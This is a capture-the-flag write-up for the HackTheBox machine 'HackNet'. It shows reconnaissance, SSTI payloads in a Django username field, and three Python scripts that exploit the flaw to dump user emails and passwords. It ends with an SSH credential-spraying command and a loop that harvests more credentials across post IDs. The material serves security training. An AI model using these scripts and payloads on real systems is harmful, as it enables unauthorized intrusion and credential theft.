HackNet – HackTheBox Link to heading

  • OS: Linux
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar hacknet


Summary Link to heading

“Hacknet” is a Medium difficulty machine from HackTheBox platform. The target machine is running a page that emulates a social media-like page. This page is vulnerable to Server Side Template Injection, allowing to retrieve users and passwords from the server; one of them being used with SSH service, allowing us to gain access to the server. Once in, we can see that the server is also vulnerable to a Deserialization Attack as it runs Pickle with Django. This allow us to place a malicious cookie in the victim machine that is triggered when a user visits its home page; gaining access to a new user. This new user has access to GNU Privacy Guard files; one of them containing the password for root user, gaining control of the system.


User Link to heading

We start with an Nmap scan looking for open TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.85

Nmap scan shows 2 ports open: 22 SSH and 80 HTTP. We apply some recognition scripts over these ports with Nmap as well:

❯ sudo nmap -sVC -p22,80 10.10.11.85

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 17:10 -03
Nmap scan report for 10.10.11.85
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_  256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.48 seconds

From the output, we can see that site on port 80 HTTP redirects to http://hacknet.htb.

We then add this domain, along with the target IP address, to our /etc/hosts file executing in a terminal:

❯ echo '10.10.11.85 hacknet.htb' | sudo tee -a /etc/hosts

We can now use WhatWeb against the HTTP site to identify technologies being applied by the web server:

❯ whatweb -a 3 http://hacknet.htb

http://hacknet.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[10.10.11.85], JQuery[3.7.1], Title[HackNet - social network for hackers], UncommonHeaders[x-content-type-options,referrer-policy,cross-origin-opener-policy], X-Frame-Options[DENY], nginx[1.22.1]

But it does not provide much information. Just that the web server is running on Nginx.

We can then visit http://hacknet.htb in a web browser. The site presents itself as a social network for hackers:

HackNet 1

We can create a user in the site and log in with our created account. Once created we are redirected to /profile page:

HackNet 2

Using a tool such as Wappalyzer plugin or WhatWeb (using the cookies once we have logged in), we can get more information about the web server that was not shown before:

❯ whatweb -a 3 -c='csrftoken=gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k; sessionid=qz3kztdxme2zhaybb0d4zynuxd66pa0s' http://hacknet.htb/profile

http://hacknet.htb/profile [200 OK] Cookies[csrftoken,sessionid], Country[RESERVED][ZZ], Django, HTML5, HTTPServer[nginx/1.22.1], HttpOnly[sessionid], IP[10.10.11.85], JQuery[3.7.1], Script, Title[HackNet - Profile], UncommonHeaders[x-content-type-options,referrer-policy,cross-origin-opener-policy], X-Frame-Options[DENY], nginx[1.22.1]

The site is running with Django.

Info
Django is a free and open-source, high-level Python web framework that enables the rapid development of secure and maintainable websites. It is designed to handle much of the common hassle of web development, allowing developers to focus on building the unique features of their applications.

Typically, if we are against a Django site, we should look for Server Side Template Injection (SSTI) vulnerabilities, as they are the most common ones in Python-based web applications. I tried clicking on Edit Profile and then changing our username to payloads such as {{ 7*7 }} (the typical payload to test if an application could be vulnerable to SSTI).

HackNet 5

And click on Save.

Our profile just returns our user as {{ 7*7 }}. However, we can leave our user like this for the moment as some feature in the site could render it and trigger the SSTI vulnerability.

We can then explore the page, clicking on Explore tab. There, we can see posts of other users:

HackNet 3

But each posts is a simple offensive cybersecurity topic. There is also a ❤️ button, just under the picture of the user. We can intercept what is sent when click on this ❤️ button to a post with Burpsuite. The intercepted request is:

GET /like/22 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/explore
X-Requested-With: XMLHttpRequest
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: csrftoken=gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k; sessionid=qz3kztdxme2zhaybb0d4zynuxd66pa0s
Priority: u=0

If we click on Likes button (the one at the side of ❤️ button) we get:

GET /likes/10 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/explore
X-Requested-With: XMLHttpRequest
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: csrftoken=gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k; sessionid=qz3kztdxme2zhaybb0d4zynuxd66pa0s
Priority: u=0

and as response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 21 Sep 2025 20:34:02 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Frame-Options: DENY
Vary: Cookie
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Content-Length: 959

<div class="likes-review-item"><a href="/profile/2"><img src="/media/2.jpg" title="hexhunter"></a></div><div class="likes-review-item"><a href="/profile/6"><img src="/media/6.jpg" title="shadowcaster"></a></div><div class="likes-review-item"><a href="/profile/7"><img src="/media/7.png" title="blackhat_wolf"></a></div><div class="likes-review-item"><a href="/profile/9"><img src="/media/9.png" title="glitch"></a></div><div class="likes-review-item"><a href="/profile/12"><img src="/media/12.png" title="codebreaker"></a></div><div class="likes-review-item"><a href="/profile/16"><img src="/media/16.png" title="shadowmancer"></a></div><div class="likes-review-item"><a href="/profile/21"><img src="/media/21.jpg" title="whitehat"></a></div><div class="likes-review-item"><a href="/profile/24"><img src="/media/24.jpg" title="brute_force"></a></div><div class="likes-review-item"><a href="/profile/25"><img src="/media/25.jpg" title="shadowwalker"></a></div>

Which in the web browser just returns the avatars of users that have given a like to the post:

Hacknet 4

Ordering the response (HTML code) for a better visualization (using a page like this one) shows:

<div class="likes-review-item"><a href="/profile/1"><img src="/media/1.jpg" title="cyberghost"></a></div>
<div class="likes-review-item"><a href="/profile/6"><img src="/media/6.jpg" title="shadowcaster"></a></div>
<div class="likes-review-item"><a href="/profile/9"><img src="/media/9.png" title="glitch"></a></div>
<div class="likes-review-item"><a href="/profile/13"><img src="/media/13.png" title="netninja"></a></div>
<div class="likes-review-item"><a href="/profile/19"><img src="/media/19.jpg" title="exploit_wizard"></a></div>
<div class="likes-review-item"><a href="/profile/21"><img src="/media/21.jpg" title="whitehat"></a></div>
<div class="likes-review-item"><a href="/profile/22"><img src="/media/22.png" title="deepdive"></a></div>
<div class="likes-review-item"><a href="/profile/23"><img src="/media/23.jpg" title="virus_viper"></a></div>
<div class="likes-review-item"><a href="/profile/24"><img src="/media/24.jpg" title="brute_force"></a></div>

But if we give a like (clicking on ❤️) and then check likes button, we are not allowed to see the result:

HackNet 6

We just get Something went wrong message.

I change again my name to an “allowed” and simple name as test and we can see again the likes:

HackNet 7

There are some names as payloads that cause an internal error. For example:

{{ self.__init__.__globals__ }}

or:

{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}

Cause Server Error (500) when we attempt to change our name to those usernames.

But if we change our name to an SSTI payload such as {{ self }} the payload does not return an error. It just does not display our name. For this purpose I create a Python script that does the following.

  1. Using our cookie sessions, it retrieves a csrfmiddlewaretoken token that is given by Django when we visit /profile/edit.
  2. Using our cookie sessions and the obtained token, we update our profile name to a known username (defined in the script as default_username).
  3. Since a post reflects our name when it is on “liked” status, we can give a like to that post and check the persons that has given like to that post. Therefore, we must ensure that a post is in liked status.
  4. Finally, once we have given a like to a post, check users that have given like to that post. There our username should be reflected by the SSTI vulnerability.

My script is (it also needs bs4, installable with pip3 install bs4):

#!/usr/bin/python3
import sys
import requests
import argparse
from bs4 import BeautifulSoup


def parse_arguments()->argparse.Namespace:
    # Create an ArgumentParser object
    parser = argparse.ArgumentParser(description="Update profile name in HTB HackNet Machine.",
                                     epilog=f"""
Example usage:
python3 {sys.argv[0]} -n 'test' --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'""",
                                     formatter_class=argparse.RawTextHelpFormatter)

    # Add arguments with flags
    parser.add_argument("-n", "--name", type=str, help="New name for the user to edit", required=True)
    parser.add_argument("--csrftoken", type=str, help="'csrftoken' variable value from session", required=True)
    parser.add_argument("--sessionid", type=str, help="'sessionid' variable value from session", required=True)
    parser.add_argument("--post-id", type=int, help="Post ID number. Default: 10", default=10)
    parser.add_argument("--default-username", type=str, default="gunzf0x", help="Default username to test the application")

    return parser.parse_args()


def cookie_object(csrftoken_value, sessionid_value):
    profile_cookies = {
        "csrftoken": csrftoken_value,
        "sessionid": sessionid_value,
    }
    return profile_cookies


def get_csrfmiddlewartetoken_variable(profile_cookies)->str:
    profile_url: str = "http://hacknet.htb/profile/edit"
    r = requests.get(profile_url, cookies=profile_cookies, timeout=10)
    soup = BeautifulSoup(r.text, "html.parser")
    token_input = soup.find("input", {"name": "csrfmiddlewaretoken"})
    csrf_token = token_input["value"]
    return csrf_token


def give_like_to_post(username: str, profile_cookies, post_id: int, wantToUpdateProf:bool=True):
    # Update our profile name to our default username
    if wantToUpdateProf:
        update_profile(username, profile_cookies)
    # Give a like to the post
    liked_post_url = f"http://hacknet.htb/like/{post_id}"
    req_give_like = requests.get(liked_post_url, cookies=profile_cookies)
    if req_give_like.status_code != 200:
        print(f"[-] Something went wrong when giving a like to the post as {username!r} user. Status code: {req_give_like.status_code}")
        sys.exit(1)
    

def is_post_liked(default_username: str, profile_cookies, post_id: int)->bool:
    # Update our username and give a like to a post using default username
    give_like_to_post(default_username, profile_cookies, post_id)
    # Retrieve likes from post. If our name is there, it means the post is now in "liked" status by our user.
    # Else, it was already liked and we just removed our like (it is in "not liked" current status).
    likes_post_url = f"http://hacknet.htb/likes/{post_id}"
    req_check_like = requests.get(likes_post_url, cookies=profile_cookies)
    if default_username in req_check_like.text:
        return True
    return False


def check_liked_post(profile_cookies, post_id):
    likes_post_url = f"http://hacknet.htb/likes/{post_id}"
    req_check_post = requests.get(likes_post_url, cookies=profile_cookies)
    print(f"[+] Response body size: {len(req_check_post.content)}")
    soup = BeautifulSoup(req_check_post.text, "html.parser")
    print(f"[+] Likes from the post are:\n\n{soup.prettify()}")


def update_profile(new_username: str, profile_cookies)->None:
    profile_url: str = "http://hacknet.htb/profile/edit"
    # Profile data to update.
    form_data = {
        "csrfmiddlewaretoken": get_csrfmiddlewartetoken_variable(profile_cookies),
        "email": "",
        "username": new_username,
        "password": "",
        "about": "",
        "is_public": "on",
    }

    files = {
    # Send an empty file field (no content). requests will handle multipart.
        "picture": ("", b""),
    }
    response = requests.post(
        profile_url,
        cookies=profile_cookies,
        data=form_data,
        files=files,
        timeout=10,
    )

    # Check that code status is 200 OK and the cookies provided are valid
    if response.status_code != 200 or "/login" in response.text:
        if response.status_code == 200:
            print(f"[-] Code status is {response.status_code}, but could not update profile. It seems that cookies provided are not valid.")
            sys.exit(1)
        print(f"[-] Wrong code status: {response.status_code}")
        sys.exit(1)
    print(f"[+] Profile successfully updated for new username {new_username!r}")


def main()->None:
    # Get arguments from user
    args: argparse.Namespace = parse_arguments()
    # Build a dictionary that will store cookies
    profile_cookies = cookie_object(args.csrftoken, args.sessionid)
    # Check if post is already liked or not (to reflect our username payload and trigger SSTI)
    if is_post_liked(args.default_username, profile_cookies, args.post_id):
        print("[+] Post is in 'liked' list. Giving it 'like' again to change it's 'liked' status...")
        give_like_to_post(args.default_username, profile_cookies, args.post_id, wantToUpdateProf=False)
    # Else, the post is was already liked and with our previous "liked" post, now it is not on "liked" status
    update_profile(args.name, profile_cookies)
    # Give like to post with our new username
    give_like_to_post(args.name, profile_cookies, args.post_id, wantToUpdateProf=False)
    # And check liked post
    check_liked_post(profile_cookies, args.post_id)
    

if __name__ == "__main__":
    main()

Test our script and we get:

❯ python3 check_ssti_variables.py -n "testscript" --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'

[+] Profile successfully updated for new username 'gunzf0x'
[+] Profile successfully updated for new username 'test'
[+] Response body size: 1071
[+] Likes from the post are:

<SNIP>
<div class="likes-review-item">
 <a href="/profile/27">
  <img src="/media/profile.png" title="testscript"/>
 </a>
</div>

It apparently worked.

When we start searching by some context variables such as self we get:

❯ python3 check_ssti_variables.py -n "{{ self }}" --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'

[+] Profile successfully updated for new username 'gunzf0x'
[+] Profile successfully updated for new username '{{ self }}'
[+] Response body size: 1061
[+] Likes from the post are:
<SNIP>
<div class="likes-review-item">
 <a href="/profile/27">
  <img src="/media/profile.png" title=""/>
 </a>
</div>

It somehow worked. It did not returned an error, but neither returned something. The interesting part is at:

title=""

As it is apparently not returning anything.

Now, we can start looking for valid context variables. This StackOverflow post explains in a better way what are these variables. If we check all responses that contain title="" in the response, they all the body response size of 1061. We can test this with a Bash oneliner and our Python script:

❯ for i in super self item; do python3 check_ssti_variables.py -n "{{ $i }}" --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s' | grep 'body size'; done

[+] Response body size: 1061
[+] Response body size: 1061
[+] Response body size: 1061

Therefore, a good way would be to create a simple list of potential variables and check their returned size. If the size is not 1061, it might be interesting to check. I will then do two more things:

  1. Modify the script and adapt it to a “bruteforce” attack. Basically we will change our username to {{ <value> }} and check the response length of the “likes” page. If the length is different than 1061, it might be interesting to check.
  2. For this purpose, to “bruteforce” variables, I will use this Jinja context variable list.

The modified script is then:

#!/usr/bin/python3
import sys
import requests
import argparse
from bs4 import BeautifulSoup


def parse_arguments()->argparse.Namespace:
    # Create an ArgumentParser object
    parser = argparse.ArgumentParser(description="Bruteforce variables HTB HackNet Machine.",
                                     epilog=f"""
Example usage:
python3 {sys.argv[0]} --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'""",
                                     formatter_class=argparse.RawTextHelpFormatter)

    # Add arguments with flags
    parser.add_argument("--csrftoken", type=str, help="'csrftoken' variable value from session", required=True)
    parser.add_argument("--sessionid", type=str, help="'sessionid' variable value from session", required=True)
    parser.add_argument("--default-username", type=str, default="gunzf0x", help="Default username to test the application")
    parser.add_argument('--variable-dictionary', type=str, default="jinja_context_possible_variables.txt",
                         help="Path to dictionary file containing variables to try.")

    return parser.parse_args()

def cookie_object(csrftoken_value, sessionid_value):
    profile_cookies = {
        "csrftoken": csrftoken_value,
        "sessionid": sessionid_value,
    }
    return profile_cookies


def get_csrfmiddlewartetoken_variable(profile_cookies)->str:
    profile_url: str = "http://hacknet.htb/profile/edit"
    r = requests.get(profile_url, cookies=profile_cookies, timeout=10)
    soup = BeautifulSoup(r.text, "html.parser")
    token_input = soup.find("input", {"name": "csrfmiddlewaretoken"})
    csrf_token = token_input["value"]
    return csrf_token


def give_like_to_post(username: str, profile_cookies, wantToUpdateProf:bool=True):
    # Update our profile name to our default username
    if wantToUpdateProf:
        update_profile(username, profile_cookies)
    # Give a like to the post
    liked_post_url = "http://hacknet.htb/like/10"
    req_give_like = requests.get(liked_post_url, cookies=profile_cookies)
    if req_give_like.status_code != 200:
        print(f"[-] Something went wrong when giving a like to the post as {username!r} user. Status code: {req_give_like.status_code}")
        sys.exit(1)
    


def is_post_liked(default_username: str, profile_cookies)->bool:
    # Update our username and give a like to a post using default username
    give_like_to_post(default_username, profile_cookies)
    # Retrieve likes from post. If our name is there, it means the post is now in "liked" status by our user.
    # Else, it was already liked and we just removed our like (it is in "not liked" current status).
    likes_post_url = "http://hacknet.htb/likes/10"
    req_check_like = requests.get(likes_post_url, cookies=profile_cookies)
    if default_username in req_check_like.text:
        return True
    return False


def check_liked_post(profile_cookies, var)->bool:
    likes_post_url = "http://hacknet.htb/likes/10"
    isPeculiar: bool = False
    req_check_post = requests.get(likes_post_url, cookies=profile_cookies)
    if len(req_check_post.content) != 1061:
        print(f"[+] Variable {var!r} has a peculiar length ({len(req_check_post.content)}).")
        isPeculiar = True
    return isPeculiar


def update_profile(new_username: str, profile_cookies)->None:
    profile_url: str = "http://hacknet.htb/profile/edit"
    # Profile data to update.
    form_data = {
        "csrfmiddlewaretoken": get_csrfmiddlewartetoken_variable(profile_cookies),
        "email": "",
        "username": new_username,
        "password": "",
        "about": "",
        "is_public": "on",
    }

    files = {
    # Send an empty file field (no content). requests will handle multipart.
        "picture": ("", b""),
    }
    response = requests.post(
        profile_url,
        cookies=profile_cookies,
        data=form_data,
        files=files,
        timeout=10,
    )

    # Check that code status is 200 OK and the cookies provided are valid
    if response.status_code != 200 or "/login" in response.text:
        if response.status_code == 200:
            print(f"[-] Code status is {response.status_code}, but could not update profile. It seems that cookies provided are not valid.")
            sys.exit(1)
        print(f"[-] Wrong code status: {response.status_code}")
        sys.exit(1)
    print(f"[+] Profile successfully updated for new username {new_username!r}")


def create_list_of_variables(dictionary_path: str):
    try:
        with open(dictionary_path, "r") as f:
            lines = f.read().splitlines() 
    except Exception as e:
        print(f"[-] An error ocurred: {e}")
        sys.exit(1)
    return lines


def main()->None:
    # Get arguments from user
    args: argparse.Namespace = parse_arguments()
    # Build a dictionary that will store cookies
    profile_cookies = cookie_object(args.csrftoken, args.sessionid)
    
    print(f"[+] Starting bruteforce. Using {args.variable_dictionary!r} dictionary for variables...")
    list_of_variables = create_list_of_variables(args.variable_dictionary)
    length_var_list: int = len(list_of_variables)
    interesting_words = []
    for counter, var in enumerate(list_of_variables):
        print(60*"=")
        print(f"\n[*] Attempting with {var!r} variable... ({counter+1}/{length_var_list})")
        # Check if post is already liked or not (to reflect our username payload and trigger SSTI)
        if is_post_liked(args.default_username, profile_cookies):
            print("[+] Post is in 'liked' list. Giving it 'like' again to change it's 'liked' status...")
            give_like_to_post(args.default_username, profile_cookies, wantToUpdateProf=False)
        # Else, the post is was already liked and with our previous "liked" post, now it is not on "liked" status
        update_profile('{{ '+ var +' }}', profile_cookies)
        # Give like to post with our new username
        give_like_to_post('{{ '+ var +' }}', profile_cookies, wantToUpdateProf=False)
        # And check liked post
        if check_liked_post(profile_cookies, var):
            interesting_words.append(var)
    print(60*"=")
    print(f"\n\n[+] Interesting words list retrieved:\n{interesting_words}")
    

if __name__ == "__main__":
    main()

Run this second script:

❯ python3 bruteforce_jinga_variables.py --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'

[+] Starting bruteforce. Using 'jinja_context_possible_variables.txt' dictionary for variables...

<SNIP>
============================================================

[*] Attempting with 'users' variable... (14/133)
[+] Profile successfully updated for new username 'gunzf0x'
[+] Profile successfully updated for new username '{{ users }}'
[+] Variable 'users' has a peculiar length (1403).
============================================================

[*] Attempting with 'users.values' variable... (15/133)
[+] Profile successfully updated for new username 'gunzf0x'
[+] Profile successfully updated for new username '{{ users.values }}'
[+] Variable 'users.values' has a peculiar length (6081).
<SNIP>

[+] Interesting words list retrieved:
['user', 'user.is_authenticated', 'user.is_anonymous', 'user.is_staff', 'user.is_superuser', 'users', 'users.values', 'request', 'request.path', 'request.get_full_path', 'request.method', 'request.GET', 'request.POST', 'request.COOKIES', 'request.session', 'csrf_token', 'messages', 'perms']

We get many values. However, the most notorious ones are users and users.values.

After checking them -and due to the body size of the request returned- the parameter {{ users.values }} seems interesting. If we use our first script using this value as username we get:

❯ python3 check_ssti_variables.py -n "{{ users.values }}" --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'

<SNIP>
<img src="/media/profile.png" title="&lt;QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': 'hexhunter', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 6, 'email': 'shadowcaster@darkmail.net', 'username': 'shadowcaster', 'password': 'Sh@d0wC@st!', 'picture': '6.jpg', 'about': 'Specializes in social engineering and OSINT techniques. A master of blending into the digital shadows.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 7, 'email': 'blackhat_wolf@cypherx.com', 'username': 'blackhat_wolf', 'password': 'Bl@ckW0lfH@ck', 'picture': '7.png', 'about': 'A black hat hacker with a passion for ransomware development. Has a reputation for leaving no trace behind.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 9, 'email': 'glitch@cypherx.com', 'username': 'glitch', 'password': 'Gl1tchH@ckz', 'picture': '9.png', 'about': 'Specializes in glitching and fault injection attacks. Loves causing unexpected behavior in software and hardware.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 12, 'email': 'codebreaker@ciphermail.com', 'username': 'codebreaker', 'password': 'C0d3Br3@k!', 'picture': '12.png', 'about': 'A programmer with a talent for writing malicious code and cracking software protections. Loves breaking encryption algorithms.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': 'shadowmancer', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 21, 'email': 'whitehat@darkmail.net', 'username': 'whitehat', 'password': 'Wh!t3H@t2024', 'picture': '21.jpg', 'about': 'An ethical hacker with a mission to improve cybersecurity. Works to protect systems by exposing and patching vulnerabilities.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 24, 'email': 'brute_force@ciphermail.com', 'username': 'brute_force', 'password': 'BrUt3F0rc3#', 'picture': '24.jpg', 'about': 'Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 25, 'email': 'shadowwalker@hushmail.com', 'username': 'shadowwalker', 'password': 'Sh@dowW@lk2024', 'picture': '25.jpg', 'about': 'A digital infiltrator who excels in covert operations. Always finds a way to walk through the shadows undetected.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 27, 'email': 'gunzf0x@gunzf0x.htb', 'username': '{{ users.values }}', 'password': 'gunzf0x123$!', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]&gt;"/>
 </a>
</div>

There is a QuerySet list that has many content inside it. We can see username and password for each one of its elements.

Finally, based on my previous code, we make a third Python script to prettify the output:

import requests
import argparse
from bs4 import BeautifulSoup
import sys
import html
import ast


def parse_arguments()->argparse.Namespace:
    # Create an ArgumentParser object
    parser = argparse.ArgumentParser(description="Update profile name in HTB HackNet Machine.",
                                     epilog=f"""
Example usage:
python3 {sys.argv[0]} -n 'test' --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'""",
                                     formatter_class=argparse.RawTextHelpFormatter)

    # Add arguments with flags
    parser.add_argument("--csrftoken", type=str, help="'csrftoken' variable value from session", required=True)
    parser.add_argument("--sessionid", type=str, help="'sessionid' variable value from session", required=True)
    parser.add_argument("--post-id", type=int, help="Post ID identifier. Default=10", default=10)

    return parser.parse_args()

    
def get_text_from_liked_post(args)->str:
    likes_post_url = f"http://hacknet.htb/likes/{args.post_id}"
    profile_cookies = {
        "csrftoken": args.csrftoken,
        "sessionid": args.sessionid,
    }
    req_check_post = requests.get(likes_post_url, cookies=profile_cookies)
    return req_check_post.text


def save_data_in_file(data_list, filename: str)->None:
    with open(filename, "w", encoding="utf-8") as f:
        for data in data_list:
            f.write(data + "\n")
    return


def prettify_output(html_text: str, post_id: int)->None:
    soup = BeautifulSoup(html_text, "html.parser")
    usernames = []
    passwords = []
    # Iterate over all <img> tags and keep the one we are interested in
    for img in soup.find_all("img"):
        title = img.get("title", "")
        unescaped = html.unescape(title)
        if "QuerySet" in unescaped:  # Only process QuerySet
            qs_str = unescaped
            if qs_str.startswith("<QuerySet ") and qs_str.endswith(">"):
                qs_str = qs_str[len("<QuerySet "):-1]
            # Convert string to Python objects safely
            queryset_list = ast.literal_eval(qs_str)
            # Print username, email, password
            for user in queryset_list:
                if user['username'] == "{{ users.values }}":
                    continue
                print(f"Username: {user['username']}, Email: {user['email']}, Password: {user['password']}")
                usernames.append(user['username'])
                passwords.append(user['password'])
    # Save found data in files
    save_data_in_file(usernames, f"postid_{post_id}_usernames_found.txt")
    save_data_in_file(passwords, f"postid_{post_id}_passwords_found.txt")


def main()->None:
    # Get arguments from user
    args: argparse.Namespace = parse_arguments()
    # Retrieve HTML contenxt once SSTI payload has been injected
    html_text: str = get_text_from_liked_post(args)
    # Prettify the output
    prettify_output(html_text, args.post_id)

if __name__ == "__main__":
    main()

Executing it we get:

❯ python3 prettify_output_SSTI.py --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s'

Username: hexhunter, Email: hexhunter@ciphermail.com, Password: H3xHunt3r!
Username: shadowcaster, Email: shadowcaster@darkmail.net, Password: Sh@d0wC@st!
Username: blackhat_wolf, Email: blackhat_wolf@cypherx.com, Password: Bl@ckW0lfH@ck
Username: glitch, Email: glitch@cypherx.com, Password: Gl1tchH@ckz
Username: codebreaker, Email: codebreaker@ciphermail.com, Password: C0d3Br3@k!
Username: shadowmancer, Email: shadowmancer@cypherx.com, Password: Sh@d0wM@ncer
Username: whitehat, Email: whitehat@darkmail.net, Password: Wh!t3H@t2024
Username: brute_force, Email: brute_force@ciphermail.com, Password: BrUt3F0rc3#
Username: shadowwalker, Email: shadowwalker@hushmail.com, Password: Sh@dowW@lk2024
Username: {{ users.values }}, Email: gunzf0x@gunzf0x.htb, Password: gunzf0x123$!

This script also creates 2 .txt files for the found usernames and passwords:

❯ ls -la *.txt

-rw-rw-r-- 1 gunzf0x gunzf0x 1335 Sep 21 21:04 jinja_context_possible_variables.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  126 Sep 21 22:15 postid_10_passwords_found.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  122 Sep 21 22:15 postid_10_usernames_found.txt

We can now use NetExec along with --no-bruteforce flag against SSH service, so the first username of the list is used with the first password of the file passwords_found.txt and so on…

❯ nxc ssh 10.10.11.85 -u postid_10_usernames_found.txt -p postid_10_passwords_found.txt --no-bruteforce

SSH         10.10.11.85     22     10.10.11.85      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         10.10.11.85     22     10.10.11.85      [-] hexhunter:H3xHunt3r!
SSH         10.10.11.85     22     10.10.11.85      [-] shadowcaster:Sh@d0wC@st!
SSH         10.10.11.85     22     10.10.11.85      [-] blackhat_wolf:Bl@ckW0lfH@ck
SSH         10.10.11.85     22     10.10.11.85      [-] glitch:Gl1tchH@ckz
SSH         10.10.11.85     22     10.10.11.85      [-] codebreaker:C0d3Br3@k!
SSH         10.10.11.85     22     10.10.11.85      [-] shadowmancer:Sh@d0wM@ncer
SSH         10.10.11.85     22     10.10.11.85      [-] whitehat:Wh!t3H@t2024
SSH         10.10.11.85     22     10.10.11.85      [-] brute_force:BrUt3F0rc3#
SSH         10.10.11.85     22     10.10.11.85      [-] shadowwalker:Sh@dowW@lk2024

But none of them worked.

Let’s keep searching on other posts, as every one of them has an ID, and check if their password works:

❯ for postid in $(seq 1 30); do python3 check_ssti_variables.py -n "{{ users.values }}" --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s' --post-id $postid && python3 prettify_output_SSTI.py --csrftoken 'gcb1jgkc9JBOH5ZbZE9Ajxkf7M1oly3k' --session 'qz3kztdxme2zhaybb0d4zynuxd66pa0s' --post-id $postid; done

<SNIP>
<div class="likes-review-item">
 <a href="/profile/27">
  <img src="/media/profile.png" title="&lt;QuerySet [{'id': 18, 'email': 'mikey@hacknet.htb', 'username': 'backdoor_bandit', 'password': 'mYd4rks1dEisH3re', 'picture': '18.jpg', 'about': 'Specializes in creating and exploiting backdoors in systems. Always leaves a way back in after an attack.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': True}, {'id': 27, 'email': 'gunzf0x@gunzf0x.htb', 'username': '{{ users.values }}', 'password': 'gunzf0x123$!', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]&gt;"/>
 </a>
</div>

